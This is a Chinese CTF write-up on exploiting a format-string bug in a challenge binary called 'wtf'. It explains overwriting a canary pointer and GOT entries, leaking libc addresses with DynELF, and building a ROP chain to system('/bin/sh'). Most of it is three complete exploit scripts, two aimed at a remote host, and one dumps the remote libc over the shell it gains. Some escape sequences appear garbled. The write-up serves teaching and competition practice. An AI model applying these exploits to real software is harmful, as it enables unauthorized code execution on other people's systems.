wtf

WTF

TOC

第一个格式化字符串
第一个感觉就是挺好用的
利用格式化字符串可以用你的输入改写任意地址的内容,改写的地址和值都是你的字符串提供的。
感觉和canary配合特别好。。。通过改写canary的就可以不断的触发canary,然后不断的跳转

思路

整个的思路是:
首先利用第一个格式化字符串改写canary的值为main或者“leave message”的地址(这样就可以持续使用格式化字符串),然后触发canary,这样就不断进入循环,就可以一直输入字符串,为后面做准备

在第一个格式化字符串的时候,还可以顺便泄露地址,一举两得

然后,改写got表,改的是exit()的内容——这样在后面输入字符串的时候写一个%p就可以运行到exit()

后面就有两种拿到shell 的方法了:

  • oneshot
    这个要靠运气,而且不一定成功
    就是直接把exit()的地址写为一个含有/bin/sh并且后面调用了execv()的地址

    就像这个样子
  • 构造ROP链
    把exit()的地址改成pop——ret的地址,然后在触发exit()的时候利用rop,先pop出原来的没有用的数据,ret到pop——rdi——ret的地址,把/bin/sh地址pop到rdi(64位下第一个参数寄存器)中,然后再ret到system

关于利用格式化字符串改写某个地址:

  • $mhn
    m的值要自己去看
    从rsp开始依次是:6,7,8,9......
    m的值,取决于你在哪个地方写入的是你要改写的地址
  • 字符串的写法
payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'

payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
  • 注意,一次不能写太大数
    所以有可能是只能用$hhn
    因为写入是靠%.宽度来完成的,如果太大了可能回传的数据太大,然后就断了,不推荐
  • 循环写入——这样可以完成一个64位的修改
def change(io,target,new_value):
    byte_dic=[]
    for i in range(8):
        cur = new_value &0xff
        byte_dic.append(cur)
        new_value = new_value>>8

    for i in range(8):
        if byte_dic[i] ==0:
            continue
        io.recvuntil('msg:')
        #payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
        payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
        #payload_change += 'x01'*(0x18-len(payload_change))
        payload_change = payload_change.ljust(0x18,'l')
        payload_change += p64(0x601060+i)
        print 'byte_dic: '+str(hex(byte_dic[i]))
        io.send(payload_change)

注意:

got表

改写的,泄露的都是got表项。。。
每次都不记得

sendline? send?

这个要看接受的函数
看接受函数判断结束的标志是什么

一举多得

先看代码

payload=l64(0x601020)

io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='x00'*(0x18-len(payload))
payload+=l64(0x601040)
io.write(payload)

在第一次输入name的时候,就输入我们要泄露的地址,然后在后面的格式化字符串的地方泄露对应地址的位置m
其实直接在格式化字符串里面写也没有问题

x7f的确定

test=io.read_until('x7f')
test=test[-6:]+'x00'*2

这个x7f的确定是看有泄漏和没有泄露的对比,找到区别——泄露的地址要通过对比才能看到是在返回数据中的哪个地方

PS: DynELF——泄露地址——在没有libc的时候

//主函数
    try :
        d = DynELF(leak, libc_base )
        system_addr = d.lookup('system')
    except:
        return

// leak函数
def leak(addr):
    global r
    io=r
    if addr<=0x400100:
        return 'x00'
    io.recvuntil('msg: ')
    payload='%7$s^_'.ljust(8,'x00')
    payload+=p64(addr)
    payload=payload.ljust(0x19,'f')
    io.sendline(payload)
    dd=io.recvuntil('leave ')
    if dd.find('^_') !=-1:
        if dd.find('^_') ==0:
            print "cur->00"
            res='x00'
        else:
            res=dd[:dd.find('^_')]
    else :
        if dd.find('info')!=-1:
            raw_input('???')
        res='x00'
    return res

DynELF函数
反复执行leak函数,传入一个基准地址,这里传入的是 libc_base
然后就会遍历got表,找到system——这个在没有libc的时候很有效

代码

我的代码

#!/usr/bin/env python
# encoding: utf-8

from pwn import *

proc_name = './wtf'
proc_elf = ELF(proc_name)
print proc_elf.checksec()

context.log_level = 'debug'

io = process(proc_name)
print proc.pidof(io)[0]

raw_input('debug')

canary_addr = 0x601020
libc6_read = 0x00000000000F69A0
libc6_system = 0x0000000000045380
libc6_binsh = 0x018C58B
#libc6_pop2 =
#libc6_

pop2_ret = 0x400A81
pop_rdi_ret = 0x400a83

lib2_read = 0x00000000000EB6A0
lib2_system = 0x0000000000046590


def change(io,target,new_value):
    byte_dic=[]
    for i in range(8):
        cur = new_value &0xff
        byte_dic.append(cur)
        new_value = new_value>>8

    for i in range(8):
        if byte_dic[i] ==0:
            continue
        io.recvuntil('msg:')
#        payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
        payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
        #payload_change += 'x01'*(0x18-len(payload_change))
        payload_change = payload_change.ljust(0x18,'l')
        payload_change += p64(0x601060+i)
        print 'byte_dic: '+str(hex(byte_dic[i]))
        io.send(payload_change)

io.recvuntil('input your name:')
io.sendline(p64(canary_addr))

io.recvuntil('leave a msg:')

payload = '%.'+str(0x08c5)+'d'+'%12$hn'+'%9$s'
payload += 'x00'*(0x18 - len(payload))
payload += p64(0x601040)
io.send(payload)

read_addr = io.recvuntil("x7f")
read_addr = read_addr[-6:]+'x00'*2
read_addr = u64(read_addr)
print hex(read_addr)
print '####################'
#read_addr = u64(read_addr)
print 'read addr :'+str(hex( read_addr))
system_addr = read_addr + libc6_system - libc6_read
print 'system addr: '+ str(hex(system_addr))
binsh_addr = read_addr + libc6_binsh - libc6_read

target = 0x400740
change(io,target,pop2_ret)

io.recvuntil('msg:')
payload3 = '%p'
payload3 =  payload3.ljust(0x8,'l')
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh_addr)
payload3 += p64(system_addr)
payload3 = payload3.ljust(0x20,'l')

io.send(payload3)
io.recvuntil('info?')
io.interactive()

simp1e

#coding:utf-8
from pwn import *
#__author__='simp1e'
from pwn import *
import struct
import binascii
PROC_NAME='./wtf'#PORC_NAME
proc_elf=ELF(PROC_NAME)
print proc_elf.checksec()
context.log_level = 'debug'
for i in proc_elf.libs:
    if i.find('libc.so.6')!=-1:
        LOCAL_LIBC_PATH=i
L_LIBC=ELF(LOCAL_LIBC_PATH)

rop_call_addr=0x4014A0
rop_pop_addr=0x4014B6
got_atoi=0x601CD0
plt_puts=0x601c90
plt_rea=0x0400760
offset_atoi=0x36E70
got_read=0x601CA8
glpt=0x06020a0
def leak(addr):
    global r
    io=r
    if addr<=0x400100:
        return 'x00'
    io.recvuntil('msg: ')
    payload='%7$s^_'.ljust(8,'x00')
    payload+=p64(addr)
    payload=payload.ljust(0x19,'f')
    io.sendline(payload)
    dd=io.recvuntil('leave ')
    if dd.find('^_') !=-1:
        if dd.find('^_') ==0:
            print "cur->00"
            res='x00'
        else:
            res=dd[:dd.find('^_')]
    else :
        if dd.find('info')!=-1:
            raw_input('???')
        res='x00'

    return res

def change_qword(io,ptr,value):
    byte_dic=[]
    for i in range(8):
        cur=value &0xff
        byte_dic.append(cur)
        value = value >> 8
        print hex(cur)
    for i in range(8):

        if byte_dic[i]==0:
            continue
        io.recvuntil('msg: ')
        pay1='%%%dc'%(byte_dic[i]) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(ptr+i)
        io.sendline(pay1)

def ss(io,buf):

    io.recvuntil('msg: ')
    io.sendline(buf)

def exp(io,choice,libc):
    ll=log
    ll.debug('get_libc_offset')
    for i in libc.search('/bin/sh'):
        offset_bin_sh=i
        break
    offset_system=libc.symbols['system']
    offset_one_function=libc.symbols['atoi']
    #make(io,'1'*24)
    ebp = 'x20x99x04x08'
    libc = 'x5cx98x04x08' #__libc_start_main
    retaddr1 = 'xa0x83x04x08' # write
    retaddr2 = 'xbex85x04x08' #pop;pop;pop;ret
    pop_ebp_ret = 'xc0x85x04x08'
    retaddr3 = 'x60x83x04x08' # read
    retaddr4 = 'xd2x85x04x08' #leave ret
    if choice==1:
        print "attach %d"%(proc.pidof(io)[0])
        raw_input('debug:')
    io.recvuntil('name: ')
    io.sendline('1')
    #---------------------------
    io.recvuntil('msg: ')
    pay1='%%%dc'%(0x8) + '%8$hhn'
    pay1=pay1.ljust(16,'l')
    print len(pay1)
    pay1+=p64(0x601021)
    io.sendline(pay1)

    io.recvuntil('msg: ')
    pay1='%%%dc'%(0xc5) + '%8$hhn'
    pay1=pay1.ljust(16,'l')
    print len(pay1)
    pay1+=p64(0x601020)
    io.sendline(pay1)

#------------------------kill exit
    io.recvuntil('msg: ')
    pay1='%%%dc'%(0x8) + '%8$hhn'
    pay1=pay1.ljust(16,'l')
    print len(pay1)
    pay1+=p64(0x601061)
    io.sendline(pay1)

    io.recvuntil('msg: ')
    pay1='%%%dc'%(0xc5) + '%8$hhn'
    pay1=pay1.ljust(16,'l')
    print len(pay1)
    pay1+=p64(0x601060)
    io.sendline(pay1)


#-------------------kil strstr
    libc_base=u64(leak(proc_elf.got['__libc_start_main']).ljust(8,'x00'))
    print 'libc_base -0x%x'%(libc_base)
    code_base=0x400000
    try :
        d = DynELF(leak, libc_base )
        system_addr = d.lookup('system')
    except:
        return

    print 'system->0x%x'%(system_addr)
    popret=0x400a80
    poprdx=0x400a7a

    change_qword(io,proc_elf.got['exit'],popret)
    change_qword(io,proc_elf.got['setvbuf'],system_addr)
    ss(io,'%10$lx'.ljust(8,'x00')+'/bin/sh'+'x00'*10)
    ddt=io.recvuntil('lea')[:-3]
    addrbinsh=int(ddt,16)+0x60-0xa8
    change_qword(io,0x601090,addrbinsh)
    ss(io,p64(poprdx)*3+p64(poprdx)[:-2])
    io.recv()
    raw_input('=============')
    io.sendline('$p$p$p$p'+p64(popret+4)+p64(0x400896)+p64(addrbinsh))
    io.interactive()
    cod='base64 /lib64/libc.so.6'
    io.sendline(cod)
    fp=open('remote.libc','w')
    while 1:
        data=io.recv()
        if len(data)<0x1000 :
            break
        fp.write(data)
    fp.close()
   # io.interactive()



if __name__=='__main__':
    print 'Press 1 to test on local
Press 2 to remote pwn
Press 3 to test nc on local'
    try:
        choice=int(raw_input('input >').strip('
'))
    except:
        print 'Press error,Choice default set to 1'
        choice=1
    if choice==1:
                r= process(PROC_NAME)
                exp(r,choice,L_LIBC)
    elif choice==2:
        r= remote('106.75.93.227' ,10000,timeout=80 )
        try:
            R_LIBC=ELF('./remote_libc')
        except:
            R_LIBC=L_LIBC
            print 'Alert! remote libc no found,default set to local libc'
        exp(r,choice,R_LIBC)
    elif choice==3:
        while 1:
            try:
                r=remote('127.0.0.1',3333)
                exp(r,choice,L_LIBC)
            except:
                r.close()

彭神

from zio import *
import struct
target = ('106.75.93.227',10000)
io=zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
raw_input("go?")
payload=l64(0x601020)                  
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='x00'*(0x18-len(payload))
payload+=l64(0x601040)
io.write(payload)
test=io.read_until('x7f')
test=test[-6:]+'x00'*2
read=struct.unpack("<Q",test)[0]
print hex(read)
syscall=read+0xe
test=io.read(15)+
print test
stack=int(test,10)
print hex(stack)
payload=l64(0x0)                  
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload=l64(0x0400A7C) 
payload+=l64(0x601040)  
payload+=l64(0x200)     
payload+=l64(stack-0x88)
    io.write(payload)
payload=l64(stack-0x90)                  
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%12$n'
payload+='x00'*(0x20-len(payload))
io.write(payload)
payload=l64(stack-0x88)                  
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
payload+='x00'*(0x18-len(payload))
payload+=l64(stack-0x8c)
io.write(payload)
rbp=stack-0xb8
rbp=rbp%0x10000
payload=l64(stack-0x1b0)                 
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(rbp)+'d'+'%12$hn'
io.write(payload)
payload=l64(0x601020)                    
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0a1c)+'d'+'%12$hn'
payload+='x00'*(0x20-len(payload))
c2=raw_input("go?")
io.write(payload)
payload=l64(0x0400A7A)  
payload+=l64(0x0)
payload+=l64(0x1)
payload+=l64(0x601040)
payload+=l64(0x3b)
payload+=l64(0x601b00)
payload+=l64(0x0)
payload+=l64(0x400a60)
payload+=l64(0x0)
payload+=l64(0x0)
payload+=l64(0x1)
payload+=l64(0x601b08) 
payload+=l64(0x0)
payload+=l64(0x0)
payload+=l64(0x601b00)
payload+=l64(0x400a60)
raw_input('go')
io.write(payload)
raw_input('go')
io.write('/bin/sh'+'x00'+l64(syscall)+'x00'*0x2b)
io.interact()
原文地址:https://www.cnblogs.com/volva/p/11813883.html